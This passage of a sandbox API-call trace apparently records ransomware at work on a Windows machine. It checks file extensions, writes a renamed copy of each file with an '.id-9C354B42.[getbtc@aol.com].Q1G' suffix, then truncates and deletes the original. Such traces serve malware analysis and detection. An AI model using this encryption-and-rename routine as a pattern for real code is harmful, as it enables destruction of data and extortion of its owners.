Office\\Office14\\Groove\\ToolIcons\\OnLineBusy.ico") returned 74 [0265.622] lstrlenW (lpString=".doc") returned 4 [0265.622] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0265.623] lstrlenW (lpString=".docx") returned 5 [0265.623] lstrcmpiW (lpString1=".docx", lpString2="y.ico") returned -1 [0265.623] lstrlenW (lpString=".pdf") returned 4 [0265.623] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0265.623] lstrlenW (lpString=".xls") returned 4 [0265.623] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0265.623] lstrlenW (lpString=".xlsx") returned 5 [0265.623] lstrcmpiW (lpString1=".xlsx", lpString2="y.ico") returned -1 [0265.623] lstrlenW (lpString=".ppt") returned 4 [0265.623] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0265.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OnLineBusy.ico") returned 74 [0265.623] lstrlenW (lpString=".zip") returned 4 [0265.623] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0265.623] lstrlenW (lpString=".rar") returned 4 [0265.623] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0265.623] lstrlenW (lpString=".bz2") returned 4 [0265.623] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0265.623] lstrlenW (lpString=".7z") returned 3 [0265.623] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0265.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OnLineBusy.ico") returned 74 [0265.623] lstrlenW (lpString=".dbf") returned 4 [0265.623] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0265.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OnLineBusy.ico") returned 74 [0265.623] lstrlenW (lpString=".1cd") returned 4 [0265.623] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0265.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OnLineBusy.ico") returned 74 [0265.623] lstrlenW (lpString=".jpg") returned 4 [0265.623] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0265.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OnLineBusy.ico") returned 74 [0265.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OnLineBusy.ico") returned 74 [0265.623] lstrlenW (lpString=".doc") returned 4 [0265.623] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0265.623] lstrlenW (lpString=".docx") returned 5 [0265.623] lstrcmpiW (lpString1=".docx", lpString2="y.ico") returned -1 [0265.623] lstrlenW (lpString=".pdf") returned 4 [0265.623] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0265.624] lstrlenW (lpString=".xls") returned 4 [0265.624] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0265.624] lstrlenW (lpString=".xlsx") returned 5 [0265.624] lstrcmpiW (lpString1=".xlsx", lpString2="y.ico") returned -1 [0265.624] lstrlenW (lpString=".ppt") returned 4 [0265.624] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0265.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OnLineBusy.ico") returned 74 [0265.624] lstrlenW (lpString=".zip") returned 4 [0265.624] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0265.624] lstrlenW (lpString=".rar") returned 4 [0265.624] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0265.624] lstrlenW (lpString=".bz2") returned 4 [0265.624] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0265.624] lstrlenW (lpString=".7z") returned 3 [0265.624] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0265.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OnLineBusy.ico") returned 74 [0265.624] lstrlenW (lpString=".dbf") returned 4 [0265.624] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0265.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OnLineBusy.ico") returned 74 [0265.624] lstrlenW (lpString=".1cd") returned 4 [0265.624] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0265.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OnLineBusy.ico") returned 74 [0265.624] lstrlenW (lpString=".jpg") returned 4 [0265.624] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0265.624] lstrcmpiW (lpString1=".ico", lpString2=".Q1G") returned -1 [0265.624] lstrlenW (lpString="SessionMember.ico") returned 17 [0265.624] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\SessionMember.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\sessionmember.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0265.625] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=2862) returned 1 [0265.625] CloseHandle (hObject=0x3a0) returned 1 [0265.625] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\SessionMember.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\sessionmember.ico")) returned 0x20 [0265.625] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\SessionMember.ico.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\sessionmember.ico.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0265.625] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\SessionMember.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\sessionmember.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0265.625] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0265.625] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0265.625] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\SessionMember.ico.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\sessionmember.ico.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0265.626] GetLastError () returned 0x0 [0265.626] ReadFile (in: hFile=0x3a0, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0xb2e, lpOverlapped=0x0) returned 1 [0265.647] WriteFile (in: hFile=0x3c4, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xb30, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xb30, lpOverlapped=0x0) returned 1 [0265.648] ReadFile (in: hFile=0x3a0, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x0, lpOverlapped=0x0) returned 1 [0265.648] WriteFile (in: hFile=0x3c4, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xf6, lpOverlapped=0x0) returned 1 [0265.648] SetEndOfFile (hFile=0x3c4) returned 1 [0265.648] CloseHandle (hObject=0x3c4) returned 1 [0265.648] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0265.648] SetEndOfFile (hFile=0x3a0) returned 1 [0265.650] CloseHandle (hObject=0x3a0) returned 1 [0265.650] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\SessionMember.ico.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0265.650] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\SessionMember.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\sessionmember.ico")) returned 1 [0265.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\SessionMember.ico") returned 77 [0265.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\SessionMember.ico") returned 77 [0265.651] lstrlenW (lpString=".doc") returned 4 [0265.651] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0265.651] lstrlenW (lpString=".docx") returned 5 [0265.651] lstrcmpiW (lpString1=".docx", lpString2="r.ico") returned -1 [0265.651] lstrlenW (lpString=".pdf") returned 4 [0265.651] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0265.651] lstrlenW (lpString=".xls") returned 4 [0265.651] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0265.651] lstrlenW (lpString=".xlsx") returned 5 [0265.651] lstrcmpiW (lpString1=".xlsx", lpString2="r.ico") returned -1 [0265.651] lstrlenW (lpString=".ppt") returned 4 [0265.651] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0265.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\SessionMember.ico") returned 77 [0265.652] lstrlenW (lpString=".zip") returned 4 [0265.652] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0265.652] lstrlenW (lpString=".rar") returned 4 [0265.652] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0265.652] lstrlenW (lpString=".bz2") returned 4 [0265.652] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0265.652] lstrlenW (lpString=".7z") returned 3 [0265.652] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0265.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\SessionMember.ico") returned 77 [0265.652] lstrlenW (lpString=".dbf") returned 4 [0265.652] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0265.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\SessionMember.ico") returned 77 [0265.652] lstrlenW (lpString=".1cd") returned 4 [0265.652] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0265.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\SessionMember.ico") returned 77 [0265.652] lstrlenW (lpString=".jpg") returned 4 [0265.652] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0265.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\SessionMember.ico") returned 77 [0265.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\SessionMember.ico") returned 77 [0265.652] lstrlenW (lpString=".doc") returned 4 [0265.652] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0265.652] lstrlenW (lpString=".docx") returned 5 [0265.652] lstrcmpiW (lpString1=".docx", lpString2="r.ico") returned -1 [0265.652] lstrlenW (lpString=".pdf") returned 4 [0265.652] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0265.652] lstrlenW (lpString=".xls") returned 4 [0265.652] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0265.652] lstrlenW (lpString=".xlsx") returned 5 [0265.652] lstrcmpiW (lpString1=".xlsx", lpString2="r.ico") returned -1 [0265.652] lstrlenW (lpString=".ppt") returned 4 [0265.652] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0265.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\SessionMember.ico") returned 77 [0265.652] lstrlenW (lpString=".zip") returned 4 [0265.652] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0265.652] lstrlenW (lpString=".rar") returned 4 [0265.652] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0265.653] lstrlenW (lpString=".bz2") returned 4 [0265.653] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0265.653] lstrlenW (lpString=".7z") returned 3 [0265.653] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0265.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\SessionMember.ico") returned 77 [0265.653] lstrlenW (lpString=".dbf") returned 4 [0265.653] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0265.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\SessionMember.ico") returned 77 [0265.653] lstrlenW (lpString=".1cd") returned 4 [0265.653] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0265.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\SessionMember.ico") returned 77 [0265.653] lstrlenW (lpString=".jpg") returned 4 [0265.653] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0265.653] lstrcmpiW (lpString1=".ico", lpString2=".Q1G") returned -1 [0265.653] lstrlenW (lpString="SpaceSelector.ico") returned 17 [0265.653] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\SpaceSelector.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\spaceselector.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0265.818] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=2862) returned 1 [0265.818] CloseHandle (hObject=0x390) returned 1 [0265.818] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\SpaceSelector.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\spaceselector.ico")) returned 0x20 [0265.871] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\SpaceSelector.ico.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\spaceselector.ico.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0265.871] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\SpaceSelector.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\spaceselector.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0265.871] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0265.872] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0265.872] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\SpaceSelector.ico.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\spaceselector.ico.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0265.872] GetLastError () returned 0x0 [0265.872] ReadFile (in: hFile=0x360, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0xb2e, lpOverlapped=0x0) returned 1 [0265.899] WriteFile (in: hFile=0x1bc, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xb30, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xb30, lpOverlapped=0x0) returned 1 [0265.900] ReadFile (in: hFile=0x360, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x0, lpOverlapped=0x0) returned 1 [0265.900] WriteFile (in: hFile=0x1bc, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xf6, lpOverlapped=0x0) returned 1 [0265.900] SetEndOfFile (hFile=0x1bc) returned 1 [0265.900] CloseHandle (hObject=0x1bc) returned 1 [0265.900] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0265.900] SetEndOfFile (hFile=0x360) returned 1 [0265.903] CloseHandle (hObject=0x360) returned 1 [0265.903] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\SpaceSelector.ico.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0265.903] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\SpaceSelector.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\spaceselector.ico")) returned 1 [0265.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\SpaceSelector.ico") returned 77 [0265.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\SpaceSelector.ico") returned 77 [0265.904] lstrlenW (lpString=".doc") returned 4 [0265.904] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0265.904] lstrlenW (lpString=".docx") returned 5 [0265.904] lstrcmpiW (lpString1=".docx", lpString2="r.ico") returned -1 [0265.904] lstrlenW (lpString=".pdf") returned 4 [0265.904] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0265.904] lstrlenW (lpString=".xls") returned 4 [0265.904] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0265.904] lstrlenW (lpString=".xlsx") returned 5 [0265.904] lstrcmpiW (lpString1=".xlsx", lpString2="r.ico") returned -1 [0265.904] lstrlenW (lpString=".ppt") returned 4 [0265.904] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0265.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\SpaceSelector.ico") returned 77 [0265.904] lstrlenW (lpString=".zip") returned 4 [0265.904] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0265.904] lstrlenW (lpString=".rar") returned 4 [0265.904] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0265.904] lstrlenW (lpString=".bz2") returned 4 [0265.904] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0265.904] lstrlenW (lpString=".7z") returned 3 [0265.904] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0265.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\SpaceSelector.ico") returned 77 [0265.904] lstrlenW (lpString=".dbf") returned 4 [0265.904] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0265.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\SpaceSelector.ico") returned 77 [0265.905] lstrlenW (lpString=".1cd") returned 4 [0265.905] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0265.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\SpaceSelector.ico") returned 77 [0265.905] lstrlenW (lpString=".jpg") returned 4 [0265.905] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0265.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\SpaceSelector.ico") returned 77 [0265.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\SpaceSelector.ico") returned 77 [0265.905] lstrlenW (lpString=".doc") returned 4 [0265.905] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0265.905] lstrlenW (lpString=".docx") returned 5 [0265.905] lstrcmpiW (lpString1=".docx", lpString2="r.ico") returned -1 [0265.905] lstrlenW (lpString=".pdf") returned 4 [0265.905] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0265.905] lstrlenW (lpString=".xls") returned 4 [0265.905] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0265.905] lstrlenW (lpString=".xlsx") returned 5 [0265.905] lstrcmpiW (lpString1=".xlsx", lpString2="r.ico") returned -1 [0265.905] lstrlenW (lpString=".ppt") returned 4 [0265.905] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0265.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\SpaceSelector.ico") returned 77 [0265.905] lstrlenW (lpString=".zip") returned 4 [0265.905] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0265.905] lstrlenW (lpString=".rar") returned 4 [0265.905] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0265.905] lstrlenW (lpString=".bz2") returned 4 [0265.905] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0265.905] lstrlenW (lpString=".7z") returned 3 [0265.905] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0265.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\SpaceSelector.ico") returned 77 [0265.905] lstrlenW (lpString=".dbf") returned 4 [0265.905] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0265.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\SpaceSelector.ico") returned 77 [0265.905] lstrlenW (lpString=".1cd") returned 4 [0265.905] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0265.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\SpaceSelector.ico") returned 77 [0265.905] lstrlenW (lpString=".jpg") returned 4 [0265.905] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0265.906] lstrcmpiW (lpString1=".DLL", lpString2=".Q1G") returned -1 [0265.906] lstrlenW (lpString="IMPMAIL.DLL") returned 11 [0265.906] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\IMPMAIL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\impmail.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0265.906] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=184680) returned 1 [0265.906] CloseHandle (hObject=0x360) returned 1 [0265.906] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\IMPMAIL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\impmail.dll")) returned 0x20 [0265.906] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\IMPMAIL.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\impmail.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0265.907] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\IMPMAIL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\impmail.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\IMPMAIL.DLL") returned 54 [0265.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\IMPMAIL.DLL") returned 54 [0265.908] lstrlenW (lpString=".doc") returned 4 [0265.908] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0265.908] lstrlenW (lpString=".docx") returned 5 [0265.908] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0265.908] lstrlenW (lpString=".pdf") returned 4 [0265.908] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0265.908] lstrlenW (lpString=".xls") returned 4 [0265.908] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0265.908] lstrlenW (lpString=".xlsx") returned 5 [0265.908] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0265.908] lstrlenW (lpString=".ppt") returned 4 [0265.908] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0265.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\IMPMAIL.DLL") returned 54 [0265.909] lstrlenW (lpString=".zip") returned 4 [0265.909] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0265.909] lstrlenW (lpString=".rar") returned 4 [0265.909] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0265.909] lstrlenW (lpString=".bz2") returned 4 [0265.909] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0265.909] lstrlenW (lpString=".7z") returned 3 [0265.909] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0265.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\IMPMAIL.DLL") returned 54 [0265.909] lstrlenW (lpString=".dbf") returned 4 [0265.909] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0265.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\IMPMAIL.DLL") returned 54 [0265.909] lstrlenW (lpString=".1cd") returned 4 [0265.909] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0265.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\IMPMAIL.DLL") returned 54 [0265.909] lstrlenW (lpString=".jpg") returned 4 [0265.909] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0265.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\IMPMAIL.DLL") returned 54 [0265.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\IMPMAIL.DLL") returned 54 [0265.909] lstrlenW (lpString=".doc") returned 4 [0265.909] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0265.909] lstrlenW (lpString=".docx") returned 5 [0265.909] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0265.909] lstrlenW (lpString=".pdf") returned 4 [0265.909] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0265.909] lstrlenW (lpString=".xls") returned 4 [0265.909] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0265.909] lstrlenW (lpString=".xlsx") returned 5 [0265.909] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0265.909] lstrlenW (lpString=".ppt") returned 4 [0265.909] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0265.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\IMPMAIL.DLL") returned 54 [0265.909] lstrlenW (lpString=".zip") returned 4 [0265.909] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0265.909] lstrlenW (lpString=".rar") returned 4 [0265.909] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0265.910] lstrlenW (lpString=".bz2") returned 4 [0265.910] lstrcmpiW (lpString1=".bz2", 